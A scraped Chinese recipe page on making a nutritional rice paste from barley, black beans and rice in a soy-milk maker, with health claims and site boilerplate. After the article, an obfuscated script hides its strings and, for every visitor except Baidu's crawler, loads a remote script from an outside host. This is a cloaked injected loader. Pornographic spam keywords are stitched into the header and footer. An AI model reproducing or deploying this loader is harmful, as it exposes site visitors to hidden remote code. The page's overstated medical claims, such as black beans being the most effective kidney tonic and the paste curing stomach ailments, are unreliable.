久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 食物營養 > 正文

營養米糊的做法有哪些?

2017-07-07 09:09:39  來源:360常識網   熱度:
導語:現在的人越來越懂得養生,現在的養生不僅僅老人重視,孩子的吃飯都比較重視了。米糊是比較營養的一種食物。怎么做才能更營養更好吃呢,這是

現在的人越來越懂得養生,現在的養生不僅僅老人重視,孩子的吃飯都比較重視了。米糊是比較營養的一種食物。怎么做才能更營養更好吃呢,這是每個家長追求的。首先我們掌握下這個做米糊的最基本的方法,比如先浸泡一段時間會比較好煮爛。做的時候的火候的把握也需要掌握,比如用大火多久,用小火多多久。這都是做飯要掌握的基本方法。

菜譜做法:

1.將更米,大麥,黑豆浸泡4-6小時,夏季可以縮短時間

2.將所有食材洗凈,連同浸泡好的食材一起放入豆漿機,加入1000毫升的水

3.啟動營養米糊鍵

4.大概25分鐘左右營養米糊便做好了,倒入大的量杯內,稍微放涼就能看到上面一層厚厚的“米油”這一層的營養物質非常高,蛋白質也非常豐富,是米糊的精華部分,不要丟棄哦

5.倒入小杯子,可以看到米糊細膩,柔滑,因為有大米的融合口感非常好,清香宜人

夏季食用大麥,能提升腸胃的吸收功能,消暑除熱,消化五谷,還能降低降低膽固醇和血糖,特別適宜脾胃虛弱和消化不良的人食用。黑豆含有豐富的維生素E和B,特別是VE的含量是肉類的5-7倍,具有美容養顏抗衰老的作用。黑豆在中醫書中名為“腎之谷”,現代人生活壓力大,容易出現體虛乏力的狀況,要增強活力補充精力最首選的食物就是具有補腎功效的黑色食材,而黑豆是最有效的一種補腎佳品。

紅棗養血安神,健益脾胃,搭配具有補腎功效的黑豆,黑芝麻,核桃,不僅能在夏季養心脾,滋養肝腎,還很適合高壓力的腦力勞動者,能改善記憶力減退,神疲乏力的現象。

想做出美味的飯菜來五谷的搭配也很重要,不同的搭配可以變換出各種不同的,具有營養價值的米糊。長時間喝對身體會有很大的好處。如果有胃病的人,堅持喝一段時間能夠很好的調理胃。所以掌握一下做米糊的方法,相信會對你有很大的益處的。想要身體好就要堅持喝下去。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 99久久久99久久国产片鸭王 | 精品免费 | 成人精品鲁一区一区二区 | 一区二区三区国产亚洲网站 | 五月天久久激情 | www久久精品| 91超碰caoporn97人人 | 免费观看黄色一级大片 | 国产成人一区二区三区影院在线 | 久久男人| 欧美在线国产 | 成人av片在线观看 | 欧美日韩二区三区 | 伊人超碰| 久草成人| 亚洲高清在线观看 | 亚洲一区中文字幕 | 亚洲激情第一页 | 色悠久久久| 国产精品一区二区三区网站 | 国产精品精品视频 | 一区二区日本 | 亚洲美女一区二区三区 | 91精品国产一区二区三区蜜臀 | 黑人巨大精品欧美一区二区免费 | 亚洲人成中文字幕在线观看 | 色噜噜精品 | 久久国内 | 激情毛片 | 午夜影院免费视频 | 亚洲午码| 天天操天天干天天做 | 久久久久久久久久久久久国产精品 | 日本久久久久 | 成人免费xxxxx在线视频软件 | 四虎亚洲| 日韩欧美一区二区三区免费观看 | 亚洲色图综合网 | 久久精品网 | 日韩电影a | 91精品国产综合久久香蕉922 |